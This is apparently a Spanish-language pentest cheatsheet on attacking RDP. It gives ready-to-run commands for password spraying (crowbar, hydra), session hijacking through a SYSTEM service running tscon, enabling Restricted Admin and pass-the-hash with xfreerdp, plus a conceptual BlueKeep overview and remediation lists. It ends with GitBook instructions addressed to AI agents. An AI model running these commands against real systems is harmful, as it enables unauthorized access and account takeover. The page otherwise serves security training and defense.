> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/quickstart/rdp.md).

# RDP

## Attacking RDP

El **Remote Desktop Protocol (RDP)** es un protocolo propietario de Microsoft que provee acceso gráfico remoto a sistemas Windows. Es ampliamente usado por administradores de sistemas y MSPs para gestión remota, lo que lo convierte en un vector de ataque frecuente.

* Usa el puerto **TCP/3389** por defecto.
* Los ataques principales son: **password spraying**, **session hijacking** y **pass-the-hash (PtH)**.

***

#### 1. Enumeración del Servicio RDP

```bash
nmap -Pn -p3389 192.168.2.143
```

* `-Pn` — omite el host discovery (trata el host como activo).
* `-p3389` — escanea específicamente el puerto RDP.
* **Output esperado:** `3389/tcp open ms-wbt-server`

***

#### 2. Password Spraying

> **Concepto:** A diferencia del brute force clásico (muchas contraseñas contra un usuario), el **password spraying** prueba **una sola contraseña contra muchos usuarios**, evitando el lockout de cuentas por intentos fallidos repetidos.

**Con Crowbar**

```bash
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
```

* `-b rdp` — protocolo objetivo.
* `-s` — target con máscara CIDR.
* `-U` — lista de usuarios.
* `-c` — contraseña a probar.
* **Output esperado:** `RDP-SUCCESS : 192.168.220.142:3389 - administrator:password123`

**Con Hydra**

```bash
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
```

* `-L` — lista de usuarios.
* `-p` — contraseña única a probar.
* **Advertencia del módulo:** RDP no acepta bien conexiones paralelas. Usar `-t 1` o `-t 4` y `-W 1` o `-W 3` para espaciar intentos.

> **Nota:** El módulo RDP en Hydra es experimental.

***

#### 3. Conexión RDP con Credenciales Válidas

```bash
rdesktop -u admin -p password123 192.168.2.143
```

```bash
xfreerdp /v:192.168.2.143 /u:admin /p:password123
```

* Si el servidor usa un certificado auto-firmado, `rdesktop` pedirá confirmación manual (`yes/no`).

***

#### 4. RDP Session Hijacking

> **Concepto:** Si ya tienes acceso a una máquina comprometida y hay otros usuarios conectados por RDP, puedes **secuestrar su sesión sin conocer su contraseña**, siempre que tengas privilegios **SYSTEM**.

**Requisito:** Privilegios de administrador local → escalar a SYSTEM (vía PsExec, Mimikatz, etc.).

**Paso 1 — Listar sesiones activas**

```cmd
query user
```

**Output esperado:**

```
 USERNAME    SESSIONNAME   ID  STATE
>juurena     rdp-tcp#13     1  Active
 lewen        rdp-tcp#14     2  Active
```

**Paso 2 — Crear un servicio que ejecute `tscon` como SYSTEM**

```cmd
sc.exe create sessionhijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#13"
```

* `tscon <SESSION_ID> /dest:<SESSION_NAME>` — conecta la sesión objetivo a la sesión actual.
* El servicio se ejecuta como **Local System** por defecto, dando el contexto SYSTEM necesario.

**Output esperado:** `[SC] CreateService SUCCESS`

**Paso 3 — Iniciar el servicio**

```cmd
net start sessionhijack
```

* Se abrirá una nueva terminal bajo la sesión del usuario `lewen`.

> **Nota:** **Este método no funciona en Windows Server 2019.**

***

#### 5. RDP Pass-the-Hash (PtH)

> **Concepto:** Permite autenticarse en RDP usando directamente el **NT hash** NTLM del usuario, sin necesidad de conocer la contraseña en texto claro. Útil cuando el hash fue obtenido mediante credential dumping (SAM database, etc.).

**Requisito crítico:** El modo **Restricted Admin** debe estar habilitado en el host objetivo (deshabilitado por defecto).

**Habilitar Restricted Admin Mode (si tienes acceso al sistema)**

```cmd
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
```

* Crea la clave `DisableRestrictedAdmin` con valor `0` (habilitado).

**Ejecutar PtH con xfreerdp**

```bash
xfreerdp /v:192.168.220.152 /u:lewen /pth:300FF5E89EF33F83A8146C10F5AB9BB9
```

* `/pth` — especifica el NT hash en lugar de contraseña.
* **Output esperado:** sesión RDP activa como el usuario objetivo sin contraseña en texto claro.

**Si el ataque falla con error de restricción de cuenta**, el modo Restricted Admin no está habilitado y no tienes forma de activarlo remotamente sin acceso previo al sistema.

***

#### Remediación

* Deshabilitar RDP si no es estrictamente necesario; usar VPN + RDP en su lugar.
* Aplicar **Account Lockout Policy** y monitorear intentos fallidos de autenticación en el puerto 3389.
* Habilitar **Network Level Authentication (NLA)** para requerir credenciales antes de establecer la sesión RDP.
* Auditar sesiones RDP activas y restringir qué cuentas pueden conectarse remotamente.
* Mantener **Restricted Admin Mode** deshabilitado para prevenir ataques PtH.

## Latest RDP Vulnerabilitities

### CVE-2019-0708 — BlueKeep (RDP)

* **Puerto objetivo:** TCP/3389 (RDP — Remote Desktop Protocol)
* **Tipo:** Use-After-Free (UAF) → Remote Code Execution (RCE) **pre-autenticación**
* **Impacto:** Ejecución de código con privilegios `LocalSystem` sin necesidad de credenciales
* **Afectados:** Sistemas Windows legacy sin parche (estimado \~237,000 hosts aún vulnerables tras el escaneo inicial de mayo 2019 donde se identificaron 950,000)
* **No afectados:** Versiones modernas de Windows con las actualizaciones de seguridad aplicadas

***

### El Concepto del Ataque

* La vulnerabilidad se dispara durante el **handshake inicial** de conexión RDP (intercambio de configuración), **antes de cualquier autenticación**.
* Se abusa de una función que crea un **virtual channel** con la vulnerabilidad UAF.
* La técnica **Use-After-Free** consiste en liberar memoria del kernel y luego escribir instrucciones propias en esa memoria liberada, logrando que la CPU las ejecute.
* Como el servicio RDP corre bajo la cuenta **`LocalSystem`**, el código ejecutado hereda esos privilegios máximos.

> **Aclaración — Use-After-Free (UAF):** Ocurre cuando un programa libera un bloque de memoria pero mantiene un puntero hacia él. Si un atacante puede escribir datos en esa zona antes de que se reutilice, puede redirigir la ejecución del código.

***

### Flujo del Ataque

#### Fase 1 — Inicialización del ataque

| Paso | BlueKeep                                                                       | Categoría   |
| ---- | ------------------------------------------------------------------------------ | ----------- |
| 1    | Request de inicialización manipulado por el atacante (intercambio de settings) | Source      |
| 2    | El request invoca la función vulnerable que crea el virtual channel            | Process     |
| 3    | El servicio RDP corre automáticamente como `LocalSystem`                       | Privileges  |
| 4    | La manipulación redirige la ejecución hacia un proceso del kernel              | Destination |

#### Fase 2 — Trigger del RCE

| Paso | BlueKeep                                                                                                      | Categoría   |
| ---- | ------------------------------------------------------------------------------------------------------------- | ----------- |
| 5    | El payload del atacante se inserta en el proceso para liberar memoria del kernel y escribir las instrucciones | Source      |
| 6    | El proceso del kernel libera la memoria y el CPU apunta al código del atacante                                | Process     |
| 7    | Las instrucciones se ejecutan con privilegios `LocalSystem` (máximos del sistema)                             | Privileges  |
| 8    | Se envía una **reverse shell** por la red hacia el host del atacante                                          | Destination |

***

### Recursos de Referencia

* CVE oficial: **CVE-2019-0708**
* Análisis técnico detallado de BlueKeep: referenciado en el módulo original como artículo de análisis técnico recomendado.

***

### Remediación

* Aplicar el parche de seguridad de Microsoft para CVE-2019-0708 (disponible también para versiones legacy sin soporte oficial como Windows XP/2003).
* Deshabilitar RDP si no es estrictamente necesario.
* Habilitar **Network Level Authentication (NLA)** para requerir autenticación antes del establecimiento completo de la sesión.
* Segmentar la red para que el puerto 3389 no sea accesible desde redes no confiables.

***

> **Nota OpSec — CRÍTICO:** **La explotación de BlueKeep puede causar inestabilidad del sistema, incluyendo un Blue Screen of Death (BSoD).** Antes de lanzar el exploit en un engagement, consultar con el cliente para que comprenda los riesgos y autorice explícitamente la ejecución. No ejecutar a ciegas en producción.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/quickstart/rdp.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
